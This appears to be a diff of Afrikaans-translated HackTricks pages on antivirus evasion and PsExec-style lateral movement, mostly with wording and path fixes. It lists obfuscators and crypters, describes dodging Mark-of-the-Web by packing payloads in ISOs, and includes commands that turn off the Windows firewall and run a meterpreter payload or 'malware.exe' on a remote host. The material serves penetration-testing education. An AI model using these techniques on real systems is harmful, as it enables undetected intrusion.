* [**Alcatraz**](https://github.com/weak1337/Alcatraz)**:** Alcatraz is 'n x64 binêre obfuskeerder wat in staat is om verskillende pe-lêers te obfuskeer, insluitend: .exe, .dll, .sys
* [**metame**](https://github.com/a0rtega/metame): Metame is 'n eenvoudige metamorfiese kode enjin vir arbitrêre uitvoerbare lêers.
* [**ropfuscator**](https://github.com/ropfuscator/ropfuscator): ROPfuscator is 'n fyn-gegradeerde kode obfuskaasie raamwerk vir LLVM-ondersteunde tale wat ROP (return-oriented programming) gebruik. ROPfuscator obfuskeer 'n program op die assembly kode vlak deur gewone instruksies in ROP-kettings te transformeer, wat ons natuurlike begrip van normale kontrole vloei verhoed.
* [**InvisibilityCloak**](https://github.com/h4wkst3r/InvisibilityCloak)**: C# obfuscator**
* [**Obfuscator-LLVM**](https://github.com/obfuscator-llvm/obfuscator): Die doel van hierdie projek is om 'n oopbron-fork van die [LLVM](http://www.llvm.org/) kompilasiesuite te bied wat in staat is om verhoogde sagteware-sekuriteit te bied deur middel van [kode obfuskerings](http://en.wikipedia.org/wiki/Obfuscation\_\(software\)) en tamper-proofing.
* [**ADVobfuscator**](https://github.com/andrivet/ADVobfuscator): ADVobfuscator demonstreer hoe om `C++11/14` taal te gebruik om, tydens kompilering, obfuskeer kode te genereer sonder om enige eksterne gereedskap te gebruik en sonder om die kompilateur te wysig.
* [**obfy**](https://github.com/fritzone/obfy): Voeg 'n laag van obfuskeer operasies by wat deur die C++ template metaprogrammering raamwerk gegenereer word wat die lewe van die persoon wat die toepassing wil kraak 'n bietjie moeiliker sal maak.
* [**Alcatraz**](https://github.com/weak1337/Alcatraz)**:** Alcatraz is 'n x64 binêre obfuscator wat in staat is om verskillende pe-lêers te obfuskeer, insluitend: .exe, .dll, .sys
* [**metame**](https://github.com/a0rtega/metame): Metame is 'n eenvoudige metamorfiese kode enjin vir arbitrêre uitvoerbare.
* [**ropfuscator**](https://github.com/ropfuscator/ropfuscator): ROPfuscator is 'n fyn-gegradeerde kode obfuskeringsraamwerk vir LLVM-ondersteunde tale wat ROP (return-oriented programming) gebruik. ROPfuscator obfuskeer 'n program op die assembly kode vlak deur gewone instruksies in ROP-kettings te transformeer, wat ons natuurlike begrip van normale kontrole vloei verhoed.
* [**Nimcrypt**](https://github.com/icyguider/nimcrypt): Nimcrypt is 'n .NET PE Crypter geskryf in Nim.
* [**inceptor**](https://github.com/klezVirus/inceptor)**:** Inceptor is in staat om bestaande EXE/DLL in shellcode te omskakel en dit dan te laai.
@ -258,19 +258,19 @@ Microsoft Defender SmartScreen is 'n sekuriteitsmeganisme wat bedoel is om die e
SmartScreen werk hoofsaaklik met 'n reputasie-gebaseerde benadering, wat beteken dat ongewoon afgelaaide toepassings SmartScreen sal aktiveer, wat die eindgebruiker waarsku en verhoed om die lêer uit te voer (alhoewel die lêer steeds uitgevoer kan word deur op Meer Inligting -> Tog uitvoer te klik).
**MoTW** (Merk van die Web) is 'n [NTFS Alternatiewe Data Stroom](https://en.wikipedia.org/wiki/NTFS#Alternate\_data\_stream\_\(ADS\)) met die naam van Zone.Identifier wat outomaties geskep word wanneer lêers van die internet afgelaai word, saam met die URL waarvandaan dit afgelaai is.
**MoTW** (Mark of The Web) is 'n [NTFS Alternatiewe Data Stroom](https://en.wikipedia.org/wiki/NTFS#Alternate\_data\_stream\_\(ADS\)) met die naam van Zone.Identifier wat outomaties geskep word wanneer lêers van die internet afgelaai word, saam met die URL waarvandaan dit afgelaai is.
<figure><img src="../.gitbook/assets/image (237).png" alt=""><figcaption><p>Kontroleer die Zone.Identifier ADS vir 'n lêer wat van die internet afgelaai is.</p></figcaption></figure>
{% hint style="info" %}
Dit is belangrik om te noem dat uitvoerbare lêers wat met 'n **betroubare** ondertekeningssertifikaat **nie SmartScreen sal aktiveer** nie.
Dit is belangrik om op te let dat uitvoerbare lêers wat met 'n **betroubare** ondertekeningsertifikaat **nie SmartScreen sal aktiveer** nie.
{% endhint %}
'n Baie effektiewe manier om te verhoed dat jou payloads die Merk van die Web kry, is om dit binne 'n soort houer soos 'n ISO te verpak. Dit gebeur omdat die Merk-van-die-Web (MOTW) **nie** op **nie NTFS** volumes toegepas kan word nie.
'n Baie effektiewe manier om te verhoed dat jou payloads die Mark of The Web kry, is om dit binne 'n soort houer soos 'n ISO te verpak. Dit gebeur omdat Mark-of-the-Web (MOTW) **nie** op **nie NTFS** volumes toegepas kan word nie.
<figure><img src="../.gitbook/assets/image (640).png" alt=""><figcaption></figcaption></figure>
[**PackMyPayload**](https://github.com/mgeeky/PackMyPayload/) is 'n gereedskap wat payloads in uitvoerhouers verpak om die Merk-van-die-Web te ontwyk.
[**PackMyPayload**](https://github.com/mgeeky/PackMyPayload/) is 'n gereedskap wat payloads in uitvoerhouers verpak om Mark-of-the-Web te ontwyk.
Voorbeeld gebruik:
```powershell
@ -336,7 +336,7 @@ Die repo dui aan: Defender skandeer steeds die skrifte, maar deur Go, Java, PHP
Ontwyking is 'n baie ingewikkelde onderwerp, soms moet jy baie verskillende bronne van telemetrie in net een stelsel in ag neem, so dit is feitlik onmoontlik om heeltemal onopgemerk te bly in volwasse omgewings.
Elke omgewing wat jy teenaan gaan, sal sy eie sterkpunte en swakpunte hê.
Elke omgewing wat jy teen gaan, sal sy eie sterkpunte en swakpunte hê.
Ek moedig jou sterk aan om hierdie praatjie van [@ATTL4S](https://twitter.com/DaniLJ94) te kyk, om 'n voet aan die grond te kry in meer Gevorderde Ontwyking tegnieke.
@ -370,7 +370,7 @@ netsh advfirewall set allprofiles state off
```
### UltraVNC
Download dit van: [http://www.uvnc.com/downloads/ultravnc.html](http://www.uvnc.com/downloads/ultravnc.html) (jy wil die bin-aflaai hê, nie die installasie nie)
Download dit van: [http://www.uvnc.com/downloads/ultravnc.html](http://www.uvnc.com/downloads/ultravnc.html) (jy wil die bin-aflaai hê, nie die opstelling nie)
**OP DIE GASHEER**: Voer _**winvnc.exe**_ uit en konfigureer die bediener:
@ -569,15 +569,15 @@ https://github.com/praetorian-code/vulcan
* [https://github.com/persianhydra/Xeexe-TopAntivirusEvasion](https://github.com/persianhydra/Xeexe-TopAntivirusEvasion)
<figure><img src="/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
As jy belangstel in 'n **hacking loopbaan** en die onhackbare hack - **ons huur aan!** (_vloeiende Pools geskryf en gesproke vereis_).
{% embed url="https://www.stmcyber.com/careers" %}
{% hint style="success" %}
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Leer & oefen AWS Hacking:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>

View file

@ -1,8 +1,8 @@
# PsExec/Winexec/ScExec
{% hint style="success" %}
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Leer & oefen AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
@ -15,8 +15,6 @@ Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size=
</details>
{% endhint %}
<figure><img src="/..https:/pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
## Hoe werk hulle
@ -30,7 +28,7 @@ Die proses word in die onderstaande stappe uiteengesit, wat illustreer hoe diens
### **Proses van Handmatige Uitvoering van PsExec**
Aneem daar is 'n uitvoerbare payload (gecreëer met msfvenom en obfuskeer met Veil om antivirusdeteksie te ontwyk), genaamd 'met8888.exe', wat 'n meterpreter reverse\_http payload verteenwoordig, word die volgende stappe geneem:
Aneem daar is 'n uitvoerbare payload (gecreëer met msfvenom en obfuskeer met Veil om antivirus opsporing te ontduik), genaamd 'met8888.exe', wat 'n meterpreter reverse\_http payload verteenwoordig, die volgende stappe word geneem:
* **Kopieer die binaire**: Die uitvoerbare word na die ADMIN$ deel gekopieer vanaf 'n opdragprompt, alhoewel dit enige plek op die lêerstelsel geplaas kan word om verborge te bly.
* **Skep 'n diens**: Deur die Windows `sc` opdrag te gebruik, wat toelaat om Windows dienste afstands te vra, te skep en te verwyder, word 'n diens genaamd "meterpreter" geskep om na die opgelaaide binaire te verwys.
@ -46,7 +44,7 @@ Vind meer gedetailleerde stappe in: [https://blog.ropnop.com/using-credentials-t
![](<../../.gitbook/assets/image (928).png>)
Jy kan ook [**SharpLateral**](https://github.com/mertdas/SharpLateral) gebruik:
Jy kan ook [**SharpLateral**](https://github.com/mertdas/SharpLateral) gebruik:
{% code overflow="wrap" %}
```
@ -54,13 +52,11 @@ SharpLateral.exe redexec HOSTNAME C:\\Users\\Administrator\\Desktop\\malware.exe
```
{% endcode %}
<figure><img src="/..https:/pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
{% hint style="success" %}
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Leer & oefen AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>